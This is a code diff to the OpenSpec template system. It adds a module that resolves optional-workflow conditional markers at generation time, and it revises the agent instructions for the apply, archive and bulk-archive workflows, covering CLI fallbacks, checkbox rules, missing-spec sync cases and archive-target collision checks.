+ * `optionalWorkflow()`, and `resolveOptionalWorkflows()` picks one at
+ * generation time against the resolved workflow set, so the generated file
+ * states one path instead of asking the model to check availability at runtime.
+ */
+
+const OPEN = '[[opsx:if-workflow ';
+const OPEN_END = ']]';
+const ELSE = '[[opsx:else]]';
+const END = '[[opsx:end]]';
+
+/**
+ * A conditional that occupies a whole line on its own. Matched first so a
+ * branch that resolves to empty takes its line with it — otherwise dropping a
+ * table row or a bullet would leave a blank line behind, which markdown reads
+ * as the end of the table or list.
+ */
+const WHOLE_LINE_PATTERN =
+  /^([ \t]*)\[\[opsx:if-workflow ([a-z-]+)\]\]([^\n]*?)\[\[opsx:else\]\]([^\n]*?)\[\[opsx:end\]\][ \t]*\r?\n/gm;
+
+const CONDITIONAL_PATTERN =
+  /\[\[opsx:if-workflow ([a-z-]+)\]\]([\s\S]*?)\[\[opsx:else\]\]([\s\S]*?)\[\[opsx:end\]\]/g;
+
+/** Any leftover marker, used to fail loudly on malformed authoring. */
+const RESIDUAL_MARKER_PATTERN = /\[\[opsx:(if-workflow|else|end)/;
+
+/** A single well-formed marker, in any position. */
+const MARKER_PATTERN = /\[\[opsx:(?:if-workflow [a-z-]+|else|end)\]\]/g;
+
+/** Anything that opens like a marker, well-formed or not. */
+const MARKER_LIKE_PATTERN = /\[\[opsx:/;
+
+/**
+ * Rejects a malformed conditional before any branch is chosen.
+ *
+ * Checking after resolution is not enough: the unselected branch is discarded
+ * first, so a truncated block inside it would pass for one profile and throw
+ * for another — the exact profile-dependent behavior this module exists to
+ * remove. Authoring is either valid for every profile or valid for none.
+ *
+ * @param text - Template body as authored
+ * @throws If a marker is unrecognized, or the blocks are not a flat sequence
+ *         of if / else / end
+ */
+function assertConditionalsWellFormed(text: string): void {
+  const kinds: Array<'if' | 'else' | 'end'> = [];
+  const withoutMarkers = text.replace(MARKER_PATTERN, (marker) => {
+    kinds.push(marker.startsWith(OPEN) ? 'if' : marker === ELSE ? 'else' : 'end');
+    return '';
+  });
+
+  const unrecognized = MARKER_LIKE_PATTERN.exec(withoutMarkers);
+  if (unrecognized) {
+    throw new Error(
+      `Malformed optional-workflow conditional: unrecognized marker at '${withoutMarkers
+        .slice(unrecognized.index, unrecognized.index + 40)
+        .split('\n')[0]}'. Markers are [[opsx:if-workflow <id>]], [[opsx:else]] and [[opsx:end]].`
+    );
+  }
+
+  for (let i = 0; i < kinds.length; i += 3) {
+    if (kinds[i] !== 'if' || kinds[i + 1] !== 'else' || kinds[i + 2] !== 'end') {
+      throw new Error(
+        'Malformed optional-workflow conditional: markers are out of order or a ' +
+          'block is incomplete. Each block needs the full [[opsx:if-workflow <id>]] ' +
+          '... [[opsx:else]] ... [[opsx:end]] form, and blocks cannot nest.'
+      );
+    }
+  }
+}
+
+/**
+ * Authors a passage whose wording depends on whether `workflowId` is installed.
+ *
+ * Both branches must read correctly on their own: the generated file contains
+ * exactly one of them, with no trace of the other.
+ *
+ * @param workflowId - Workflow id as it appears in ALL_WORKFLOWS (e.g. 'continue')
+ * @param whenInstalled - Text to emit when the workflow is part of the profile
+ * @param whenMissing - Text to emit otherwise, typically a CLI fallback
+ *
+ * @example
+ * optionalWorkflow('continue', 'suggest `/opsx:continue`', 'run `openspec status`')
+ */
+export function optionalWorkflow(
+  workflowId: string,
+  whenInstalled: string,
+  whenMissing: string
+): string {
+  return `${OPEN}${workflowId}${OPEN_END}${whenInstalled}${ELSE}${whenMissing}${END}`;
+}
+
+/**
+ * A passage that is dropped entirely when `workflowId` is not installed.
+ *
+ * Use for a line that only makes sense alongside the workflow it names — a
+ * command-reference table row, a bullet listing one workflow. When the
+ * conditional is the whole line, the line goes with it rather than leaving a
+ * blank one behind.
+ *
+ * @param workflowId - Workflow id as it appears in ALL_WORKFLOWS
+ * @param whenInstalled - Text to emit when the workflow is part of the profile
+ */
+export function onlyWithWorkflow(workflowId: string, whenInstalled: string): string {
+  return optionalWorkflow(workflowId, whenInstalled, '');
+}
+
+/**
+ * Resolves every `optionalWorkflow()` passage in `text` against the workflows
+ * that will actually be installed.
+ *
+ * Runs before the command-reference transformers, so a reference in a branch
+ * that was dropped never reaches them.
+ *
+ * @param text - Template body, possibly containing conditionals
+ * @param installedWorkflows - The resolved workflow set for this installation
+ * @returns The body with one branch of each conditional kept
+ * @throws If a malformed conditional leaves a marker in the output
+ */
+export function resolveOptionalWorkflows(
+  text: string,
+  installedWorkflows: ReadonlySet<string>
+): string {
+  assertConditionalsWellFormed(text);
+
+  const wholeLinesResolved = text.replace(
+    WHOLE_LINE_PATTERN,
+    (
+      _match,
+      indent: string,
+      workflowId: string,
+      whenInstalled: string,
+      whenMissing: string
+    ) => {
+      const chosen = installedWorkflows.has(workflowId) ? whenInstalled : whenMissing;
+      return chosen === '' ? '' : `${indent}${chosen}\n`;
+    }
+  );
+
+  const resolved = wholeLinesResolved.replace(
+    CONDITIONAL_PATTERN,
+    (_match, workflowId: string, whenInstalled: string, whenMissing: string) =>
+      installedWorkflows.has(workflowId) ? whenInstalled : whenMissing
+  );
+
+  assertWorkflowConditionalsResolved(
+    resolved,
+    'Malformed optional-workflow conditional'
+  );
+
+  return resolved;
+}
+
+/**
+ * Fails loudly if `text` still carries a conditional marker.
+ *
+ * Called at the end of resolution to catch a malformed block, and again at the
+ * points that write a generated file — so a body that skipped resolution
+ * altogether (a generation path that bypassed getSkillTemplates /
+ * getCommandTemplates) throws instead of shipping literal markers to a user.
+ *
+ * @param text - Text about to be written, or just resolved
+ * @param reason - What went wrong, used as the message prefix
+ * @throws If any `[[opsx:...]]` marker remains
+ */
+export function assertWorkflowConditionalsResolved(text: string, reason: string): void {
+  const residual = RESIDUAL_MARKER_PATTERN.exec(text);
+  if (residual) {
+    throw new Error(
+      `${reason}: '${residual[0]}' is unresolved. Optional-workflow blocks are ` +
+        'resolved by getSkillTemplates()/getCommandTemplates() against the installed ' +
+        'workflow set, and each needs the full [[opsx:if-workflow <id>]] ... ' +
+        '[[opsx:else]] ... [[opsx:end]] form.'
+    );
+  }
+}

src/core/templates/workflows/apply-change.ts

@@ -5,7 +5,27 @@
  * templates file into workflow-focused modules.
  */
 import type { SkillTemplate, CommandTemplate } from '../types.js';
+import { optionalWorkflow } from '../optional-workflow.js';
 import { STORE_SELECTION_GUIDANCE } from './store-selection.js';
+import { PROJECT_ROOT_GUARD } from './project-root.js';
+
+/**
+ * `/opsx:continue` is not in the `core` profile, so the blocked-state handoff
+ * is authored with a CLI fallback and resolved at generation time (see
+ * optional-workflow.ts).
+ */
+const BLOCKED_STATE_HANDOFF = optionalWorkflow(
+  'continue',
+  'suggest using `/opsx:continue` to create them.',
+  'suggest completing the missing artifacts. Run `openspec status --change "<name>" --json`, select the next `ready` artifact (not `skipped` or `blocked`), and use `openspec instructions "<artifact-id>" --change "<name>" --json` for its rules and template. Keep the selected `--store <id>` on both commands.'
+);
+
+/** The archive handoff shown once every task is done. */
+const ARCHIVE_HANDOFF = optionalWorkflow(
+  'archive',
+  'You can archive this change with `/opsx:archive`.',
+  'You can archive this change by running `openspec archive "<name>"`.'
+);
 
 /**
  * The apply workflow instructions, authored once and rendered by both the
@@ -21,6 +41,8 @@ export function getApplyInstructions(): string {
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 **Input**: Optionally specify a change name (e.g., \`/opsx:apply add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
 
 **Steps**
@@ -56,9 +78,12 @@ ${STORE_SELECTION_GUIDANCE}
    - Dynamic instruction based on current state
    - Optional \`context\`: current required project instruction input from the selected root
    - Optional \`operationGuidance\`: current advisory guidance for apply
+   - \`missingArtifacts\` (when present): required artifact ids with no output
 
    **Handle states:**
-   - If \`state: "blocked"\` (missing artifacts): show message, suggest using \`/opsx:continue\` (if it is not installed, run \`openspec status --change "<name>" --json\` to see the next artifact and \`openspec instructions <artifact-id> --change "<name>" --json\` for how to create it)
+   - If \`state: "blocked"\`: show the message and pause implementation.
+     - If \`missingArtifacts\` is non-empty: ${BLOCKED_STATE_HANDOFF}
+     - Otherwise, follow the CLI instruction to create or repair the schema-configured tracking file from existing planning artifacts. Do not assume another artifact is ready or start implementation while blocked.
    - If \`state: "all_done"\`: congratulate, suggest archive
    - Otherwise: proceed to implementation
 
@@ -147,7 +172,7 @@ Working on task 4/7: <task description>
 - [x] Task 2
 ...
 
-All tasks complete! You can archive this change with \`/opsx:archive\`.
+All tasks complete! ${ARCHIVE_HANDOFF}
 \`\`\`
 
 **Output On Pause (Issue Encountered)**
@@ -198,7 +223,7 @@ This skill supports the "actions on a change" model:
 export function getApplyChangeSkillTemplate(): SkillTemplate {
   return {
     name: 'openspec-apply-change',
-    description: 'Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks.',
+    description: 'Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks. Also use when the user says "openspec apply", "opsx apply", or "openspec implement".',
     instructions: getApplyInstructions(),
     license: 'MIT',
     compatibility: 'Requires openspec CLI.',

src/core/templates/workflows/archive-change.ts

@@ -5,16 +5,39 @@
  * templates file into workflow-focused modules.
  */
 import type { SkillTemplate, CommandTemplate } from '../types.js';
+import { optionalWorkflow } from '../optional-workflow.js';
 import { STORE_SELECTION_GUIDANCE } from './store-selection.js';
+import { PROJECT_ROOT_GUARD } from './project-root.js';
+
+/**
+ * Archiving must merge delta specs into the main specs; the `sync` workflow is
+ * how it normally does that. A profile that selects `archive` gets `sync`
+ * injected (see getProfileWorkflows), but an install whose workflow set was
+ * read back off disk can still be missing it — in which case the merge has to
+ * happen inline rather than be handed to a workflow that is not there.
+ */
+const SYNC_INLINE_HANDOFF = optionalWorkflow(
+  'sync',
+  'run the `/opsx:sync` workflow inline (agent-driven intelligent merge)',
+  'perform the delta-to-main-spec merge inline yourself (agent-driven intelligent merge)'
+);
+
+const SYNC_GUARDRAIL = optionalWorkflow(
+  'sync',
+  'run the `/opsx:sync` workflow inline (agent-driven)',
+  'perform the delta-to-main-spec merge inline (agent-driven)'
+);
 
 export function getArchiveChangeSkillTemplate(): SkillTemplate {
   return {
     name: 'openspec-archive-change',
-    description: 'Archive a completed change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete.',
+    description: 'Archive a completed OpenSpec change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete. Also use when the user says "openspec archive" or "opsx archive".',
     instructions: `Archive a completed change in the experimental workflow.
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 \`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec.
 
 **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
@@ -78,7 +101,11 @@ ${STORE_SELECTION_GUIDANCE}
 
    Read the tasks file (typically \`tasks.md\`) to check for incomplete tasks.
 
-   Count tasks marked with \`- [ ]\` (incomplete) vs \`- [x]\` (complete).
+   A checkbox is complete when its only content is \`x\` or \`X\`; spacing inside
+   the brackets does not matter, so \`- [ x]\` counts as complete too. Every
+   other marker is incomplete - \`- [ ]\`, an empty \`- []\`, and markers OpenSpec
+   assigns no meaning to such as \`- [~]\` or \`- [-]\`. Never read an unfamiliar
+   marker as complete.
 
    **If incomplete tasks found:**
    - Display warning showing count of incomplete tasks
@@ -96,17 +123,23 @@ ${STORE_SELECTION_GUIDANCE}
 
    **If delta specs exist:**
    - Compare each delta spec with its corresponding main spec at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` (use the store-aware \`planningHome.root\` from step 2, not a hardcoded repo path)
+   - A missing main spec is **not automatically** "already synced". For a new capability, the main spec is an *output* of the sync, not an input:
+     - If the delta has MODIFIED or RENAMED requirements, report that only ADDED requirements can create a new main spec and mark that capability as sync-blocked. Never invent a requirement that has no current version.
+     - Otherwise, if the delta has only REMOVED requirements and the change's \`.openspec.yaml\` declares \`retire_capabilities: true\`, the capability is already retired: count it as already synced, warn that there is nothing left to remove, and do not recreate the main spec. Apply this rule both now and when verifying a completed sync.
+     - Otherwise, if the delta has no ADDED requirements, report that no sync is possible and mark that capability as sync-blocked. For a REMOVED-only delta, warn that there is no main spec to remove from and leave the main-spec tree unchanged. \`openspec archive\` refuses the unmarked REMOVED-only case with \`Spec must have at least one requirement\`.
+     - Otherwise, count the capability as needing sync and name it in the summary (\`<capability-path>: new main spec will be created\`). If the delta also has REMOVED requirements, warn that they will be ignored because there is no main spec to remove from. The sync creates the main spec from only the delta's ADDED requirements, exactly as \`openspec archive\` does.
    - Determine what changes would be applied (adds, modifications, removals, renames)
-   - Show a combined summary before prompting
+   - Continue assessing the remaining capabilities even when one is sync-blocked. Show a combined summary before prompting.
 
    **Prompt options:**
-   - If changes needed: "Sync now (recommended)", "Archive without syncing"
-   - If already synced: "Archive now", "Sync anyway", "Cancel"
+   - If any capability is sync-blocked: explain why and offer only "Archive without syncing", "Cancel"
+   - Otherwise, if changes needed: "Sync now (recommended)", "Archive without syncing"
+   - Otherwise, if already synced: "Archive now", "Sync anyway", "Cancel"
 
    Route on the answer:
    - "Cancel" — stop, do not archive
    - "Archive without syncing" or "Archive now" — proceed to archive
-   - "Sync now" or "Sync anyway" — sync, then verify (below)
+   - "Sync now" or "Sync anyway" — sync, then verify (below). Do not start any sync while a capability is sync-blocked; explain the blocker and repeat the available choices.
    - Anything else — ask again rather than archiving
 
    Before a selected sync writes any main spec, run
@@ -120,7 +153,7 @@ ${STORE_SELECTION_GUIDANCE}
 
    Then run the \`openspec-sync-specs\` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching \`specs\` instructions again. Do not delegate it to a background task — step 5 would move \`changeRoot\` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result.
 
-   Then re-run the comparison from the top of this step against every capability that has a delta spec in \`artifactPaths.specs.existingOutputPaths\` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
+   Then re-run the comparison from the top of this step, including the explicitly retired, missing-spec case, against every capability that has a delta spec in \`artifactPaths.specs.existingOutputPaths\` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
    - ADDED requirements present
    - MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact
    - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving \`## Requirements\` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match
@@ -197,6 +230,8 @@ export function getOpsxArchiveCommandTemplate(): CommandTemplate {
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 \`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec.
 
 **Input**: Optionally specify a change name after \`/opsx:archive\` (e.g., \`/opsx:archive add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
@@ -260,7 +295,11 @@ ${STORE_SELECTION_GUIDANCE}
 
    Read the tasks file (typically \`tasks.md\`) to check for incomplete tasks.
 
-   Count tasks marked with \`- [ ]\` (incomplete) vs \`- [x]\` (complete).
+   A checkbox is complete when its only content is \`x\` or \`X\`; spacing inside
+   the brackets does not matter, so \`- [ x]\` counts as complete too. Every
+   other marker is incomplete - \`- [ ]\`, an empty \`- []\`, and markers OpenSpec
+   assigns no meaning to such as \`- [~]\` or \`- [-]\`. Never read an unfamiliar
+   marker as complete.
 
    **If incomplete tasks found:**
    - Display warning showing count of incomplete tasks
@@ -278,17 +317,23 @@ ${STORE_SELECTION_GUIDANCE}
 
    **If delta specs exist:**
    - Compare each delta spec with its corresponding main spec at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` (use the store-aware \`planningHome.root\` from step 2, not a hardcoded repo path)
+   - A missing main spec is **not automatically** "already synced". For a new capability, the main spec is an *output* of the sync, not an input:
+     - If the delta has MODIFIED or RENAMED requirements, report that only ADDED requirements can create a new main spec and mark that capability as sync-blocked. Never invent a requirement that has no current version.
+     - Otherwise, if the delta has only REMOVED requirements and the change's \`.openspec.yaml\` declares \`retire_capabilities: true\`, the capability is already retired: count it as already synced, warn that there is nothing left to remove, and do not recreate the main spec. Apply this rule both now and when verifying a completed sync.
+     - Otherwise, if the delta has no ADDED requirements, report that no sync is possible and mark that capability as sync-blocked. For a REMOVED-only delta, warn that there is no main spec to remove from and leave the main-spec tree unchanged. \`openspec archive\` refuses the unmarked REMOVED-only case with \`Spec must have at least one requirement\`.
+     - Otherwise, count the capability as needing sync and name it in the summary (\`<capability-path>: new main spec will be created\`). If the delta also has REMOVED requirements, warn that they will be ignored because there is no main spec to remove from. The sync creates the main spec from only the delta's ADDED requirements, exactly as \`openspec archive\` does.
    - Determine what changes would be applied (adds, modifications, removals, renames)
-   - Show a combined summary before prompting
+   - Continue assessing the remaining capabilities even when one is sync-blocked. Show a combined summary before prompting.
 
    **Prompt options:**
-   - If changes needed: "Sync now (recommended)", "Archive without syncing"
-   - If already synced: "Archive now", "Sync anyway", "Cancel"
+   - If any capability is sync-blocked: explain why and offer only "Archive without syncing", "Cancel"
+   - Otherwise, if changes needed: "Sync now (recommended)", "Archive without syncing"
+   - Otherwise, if already synced: "Archive now", "Sync anyway", "Cancel"
 
    Route on the answer:
    - "Cancel" — stop, do not archive
    - "Archive without syncing" or "Archive now" — proceed to archive
-   - "Sync now" or "Sync anyway" — sync, then verify (below)
+   - "Sync now" or "Sync anyway" — sync, then verify (below). Do not start any sync while a capability is sync-blocked; explain the blocker and repeat the available choices.
    - Anything else — ask again rather than archiving
 
    Before a selected sync writes any main spec, run
@@ -300,9 +345,9 @@ ${STORE_SELECTION_GUIDANCE}
    form of main specs produced by this merge; do not use them as archive guidance,
    change CLI behavior, or copy the rule text into any output file.
 
-   Then run the \`/opsx:sync\` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching \`specs\` instructions again. Do not delegate it to a background task — step 5 would move \`changeRoot\` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result.
+   Then ${SYNC_INLINE_HANDOFF} for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching \`specs\` instructions again. Do not delegate it to a background task — step 5 would move \`changeRoot\` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result.
 
-   Then re-run the comparison from the top of this step against every capability that has a delta spec in \`artifactPaths.specs.existingOutputPaths\` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
+   Then re-run the comparison from the top of this step, including the explicitly retired, missing-spec case, against every capability that has a delta spec in \`artifactPaths.specs.existingOutputPaths\` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
    - ADDED requirements present
    - MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact
    - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving \`## Requirements\` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match
@@ -402,7 +447,7 @@ Target archive directory already exists.
 - Don't block archive on warnings - just inform and confirm
 - Preserve .openspec.yaml when moving to archive (it moves with the directory)
 - Show clear summary of what happened
-- If sync is requested, run the \`/opsx:sync\` workflow inline (agent-driven)
+- If sync is requested, ${SYNC_GUARDRAIL}
 - Never archive while a spec sync is still in flight — run the sync inline and verify the main specs before moving \`changeRoot\`
 - If delta specs exist, always run the sync assessment and show the combined summary before prompting
 - Apply relevant runtime context and report conflicts; operation guidance remains advisory

src/core/templates/workflows/bulk-archive-change.ts

@@ -5,18 +5,41 @@
  * templates file into workflow-focused modules.
  */
 import type { SkillTemplate, CommandTemplate } from '../types.js';
+import { optionalWorkflow } from '../optional-workflow.js';
 import { STORE_SELECTION_GUIDANCE } from './store-selection.js';
+import { PROJECT_ROOT_GUARD } from './project-root.js';
+
+/**
+ * Archiving must merge delta specs into the main specs; the `sync` workflow is
+ * how it normally does that. A profile that selects `archive` gets `sync`
+ * injected (see getProfileWorkflows), but an install whose workflow set was
+ * read back off disk can still be missing it — in which case the merge has to
+ * happen inline rather than be handed to a workflow that is not there.
+ */
+const SYNC_INLINE_HANDOFF = optionalWorkflow(
+  'sync',
+  'Run the `/opsx:sync` workflow inline (agent-driven intelligent merge)',
+  'Perform the delta-to-main-spec merge inline yourself (agent-driven intelligent merge)'
+);
+
+const SYNC_GUARDRAIL = optionalWorkflow(
+  'sync',
+  'run the `/opsx:sync` workflow inline (agent-driven)',
+  'perform the delta-to-main-spec merge inline (agent-driven)'
+);
 
 export function getBulkArchiveChangeSkillTemplate(): SkillTemplate {
   return {
     name: 'openspec-bulk-archive-change',
-    description: 'Archive multiple completed changes at once. Use when archiving several parallel changes.',
+    description: 'Archive multiple completed OpenSpec changes at once. Use when archiving several parallel changes. Also use for a plural archive request - "openspec bulk-archive", "opsx bulk-archive", "openspec archive all", or "openspec archive these changes".',
     instructions: `Archive multiple completed changes in a single operation.
 
 This skill allows you to batch-archive changes, handling spec conflicts intelligently by checking the codebase to determine what's actually implemented.
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 \`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec.
 
 **Input**: None required (prompts for selection)
@@ -72,7 +95,9 @@ ${STORE_SELECTION_GUIDANCE}
       - Note which artifacts are \`done\` vs other states
 
    b. **Task completion** - Read \`artifactPaths.tasks.existingOutputPaths\` from status JSON
-      - Count \`- [ ]\` (incomplete) vs \`- [x]\` (complete)
+      - Complete means the checkbox holds only \`x\`/\`X\`, ignoring spacing
+        (\`- [ x]\` is complete); every other marker is incomplete (\`- [ ]\`,
+        \`- []\`, and unfamiliar ones such as \`- [~]\` or \`- [-]\`)
       - If no tasks file exists, note as "No tasks"
 
    c. **Delta specs** - Check \`artifactPaths.specs.existingOutputPaths\` from status JSON
@@ -83,6 +108,14 @@ ${STORE_SELECTION_GUIDANCE}
         lookup for that change; do not infer deltas from unrelated artifacts.
       - Evaluate this independently for every change, including mixed-schema
         batches where some schemas have no \`specs\` artifact.
+
+   d. **Archive target** - Compute each change's target name once and record it as that change's \`<target-name>\`
+      - Use the change name as-is when it already starts with a \`YYYY-MM-DD-\` prefix; otherwise prepend the current date as \`YYYY-MM-DD-<name>\` (same rule as \`openspec archive\`)
+      - Check whether \`<planningHome.changesDir>/archive/<target-name>\` already exists
+      - If it exists, or another selected change resolves to the same target name, mark every such change \`Blocked\` with \`Archive directory already exists\`
+      - A blocked change is never synced or moved: show it as \`Blocked\` in the step 6 table, leave it out of conflict resolution (resolve its conflicts using only the other changes), and record it as Failed in step 8d
+      - Checking here, before any main spec is written, matches \`openspec archive\`: a collision found after sync would leave main specs rewritten for an archive that never happened
+
 4. **Detect spec conflicts**
 
    Build a map keyed by \`<capability-path>\`, the exact path relative to \`specs/\`:
@@ -155,8 +188,8 @@ ${STORE_SELECTION_GUIDANCE}
    Route on the answer by intent, not by exact label — you wrote these labels,
    so match what the user picked rather than the wording above:
    - "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps.
-   - The archive-everything option — proceed with every selected change
-   - The ready-only option — proceed with only the changes the step 6 table marks \`Ready\` or \`Ready*\`, and record the rest as Skipped in step 8d. If a \`Ready*\` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
+   - The archive-everything option — proceed with every selected change that is not \`Blocked\`
+   - The ready-only option — proceed with only the changes the step 6 table marks \`Ready\` or \`Ready*\`, and record the rest as Skipped in step 8d, except \`Blocked\` changes, which stay Failed with \`Archive directory already exists\`. If a \`Ready*\` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
    - Anything else — ask again rather than archiving
 
    Before step 8 writes the first main spec or moves any change, fetch every
@@ -201,13 +234,20 @@ ${STORE_SELECTION_GUIDANCE}
 
    c. **Perform the archive**:
 
-      Target name: use the change name as-is when it already starts with a \`YYYY-MM-DD-\` prefix; otherwise prepend the current date as \`YYYY-MM-DD-<name>\` (same rule as \`openspec archive\`).
+      Target name: use the \`<target-name>\` recorded for this change in step 3d, unchanged. Never recompute it here: a batch that runs past midnight would check one date in step 3 and move to another.
+
+      **Check if target already exists:**
+      - Check again immediately before the move, even though step 3 already checked: the target can appear mid-batch
+      - If yes: record this change as Failed with \`Archive directory already exists\`, leave \`changeRoot\` where it is, report any main specs step 8a already synced for it, and continue with the remaining changes
+      - If no: move \`changeRoot\` to the archive directory
 
       \`\`\`bash
       mkdir -p "<planningHome.changesDir>/archive"
       mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>"
       \`\`\`
 
+      **Confirm the move did not nest:** \`mv\` exits 0 even when the target appeared after the check, moving the change *inside* it. If \`<planningHome.changesDir>/archive/<target-name>/<change-directory-name>\` now exists (the last path segment of \`changeRoot\`), move that directory back to \`changeRoot\` and record this change as Failed with \`Archive directory already exists\`. Never report it as archived.
+
    d. **Track outcome** for each change:
       - Success: archived successfully
       - Failed: error during archive or spec verification (record error)
@@ -322,8 +362,9 @@ No active changes found. Create a new change to get started.
 - Never archive after the user cancels the confirmation — a cancelled batch archives nothing
 - Track and report all outcomes (success/skip/fail)
 - Preserve .openspec.yaml when moving to archive
-- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a \`YYYY-MM-DD-\` prefix is used as-is (never stack a second date)
+- Archive directory target uses the current date, computed once in step 3d and reused at the move: YYYY-MM-DD-<name>; a name that already starts with a \`YYYY-MM-DD-\` prefix is used as-is (never stack a second date)
 - If archive target exists, fail that change but continue with others
+- Check every archive target in step 3, before the first main-spec write; a change whose target exists is never synced or moved
 - If sync is requested, run the \`openspec-sync-specs\` workflow inline (agent-driven) for each change with included delta specs
 - Carry the per-delta \`includedDeltas\` and \`excludedDeltas\` decisions into execution; sync and verify only included deltas
 - Report every excluded delta as \`sync skipped\` without treating the archive itself as skipped
@@ -356,6 +397,8 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 \`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec.
 
 **Input**: None required (prompts for selection)
@@ -411,7 +454,9 @@ ${STORE_SELECTION_GUIDANCE}
       - Note which artifacts are \`done\` vs other states
 
    b. **Task completion** - Read \`artifactPaths.tasks.existingOutputPaths\` from status JSON
-      - Count \`- [ ]\` (incomplete) vs \`- [x]\` (complete)
+      - Complete means the checkbox holds only \`x\`/\`X\`, ignoring spacing
+        (\`- [ x]\` is complete); every other marker is incomplete (\`- [ ]\`,
+        \`- []\`, and unfamiliar ones such as \`- [~]\` or \`- [-]\`)
       - If no tasks file exists, note as "No tasks"
 
    c. **Delta specs** - Check \`artifactPaths.specs.existingOutputPaths\` from status JSON
@@ -423,6 +468,13 @@ ${STORE_SELECTION_GUIDANCE}
       - Evaluate this independently for every change, including mixed-schema
         batches where some schemas have no \`specs\` artifact.
 
+   d. **Archive target** - Compute each change's target name once and record it as that change's \`<target-name>\`
+      - Use the change name as-is when it already starts with a \`YYYY-MM-DD-\` prefix; otherwise prepend the current date as \`YYYY-MM-DD-<name>\` (same rule as \`openspec archive\`)
+      - Check whether \`<planningHome.changesDir>/archive/<target-name>\` already exists
+      - If it exists, or another selected change resolves to the same target name, mark every such change \`Blocked\` with \`Archive directory already exists\`
+      - A blocked change is never synced or moved: show it as \`Blocked\` in the step 6 table, leave it out of conflict resolution (resolve its conflicts using only the other changes), and record it as Failed in step 8d
+      - Checking here, before any main spec is written, matches \`openspec archive\`: a collision found after sync would leave main specs rewritten for an archive that never happened
+
 4. **Detect spec conflicts**
 
    Build a map keyed by \`<capability-path>\`, the exact path relative to \`specs/\`:
@@ -495,8 +547,8 @@ ${STORE_SELECTION_GUIDANCE}
    Route on the answer by intent, not by exact label — you wrote these labels,
    so match what the user picked rather than the wording above:
    - "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps.
-   - The archive-everything option — proceed with every selected change
-   - The ready-only option — proceed with only the changes the step 6 table marks \`Ready\` or \`Ready*\`, and record the rest as Skipped in step 8d. If a \`Ready*\` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
+   - The archive-everything option — proceed with every selected change that is not \`Blocked\`
+   - The ready-only option — proceed with only the changes the step 6 table marks \`Ready\` or \`Ready*\`, and record the rest as Skipped in step 8d, except \`Blocked\` changes, which stay Failed with \`Archive directory already exists\`. If a \`Ready*\` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
    - Anything else — ask again rather than archiving
 
    Before step 8 writes the first main spec or moves any change, fetch every
@@ -519,7 +571,7 @@ ${STORE_SELECTION_GUIDANCE}
    Process changes in the determined order (respecting conflict resolution):
 
    a. **Sync included delta specs**:
-      - Run the \`/opsx:sync\` workflow inline (agent-driven intelligent merge) only for changes with entries in \`includedDeltas\`, passing only the included delta paths and explicitly instructing it to ignore that change's \`excludedDeltas\`. Wait for it to finish.
+      - ${SYNC_INLINE_HANDOFF} only for changes with entries in \`includedDeltas\`, passing only the included delta paths and explicitly instructing it to ignore that change's \`excludedDeltas\`. Wait for it to finish.
       - For conflicts, apply in resolved order.
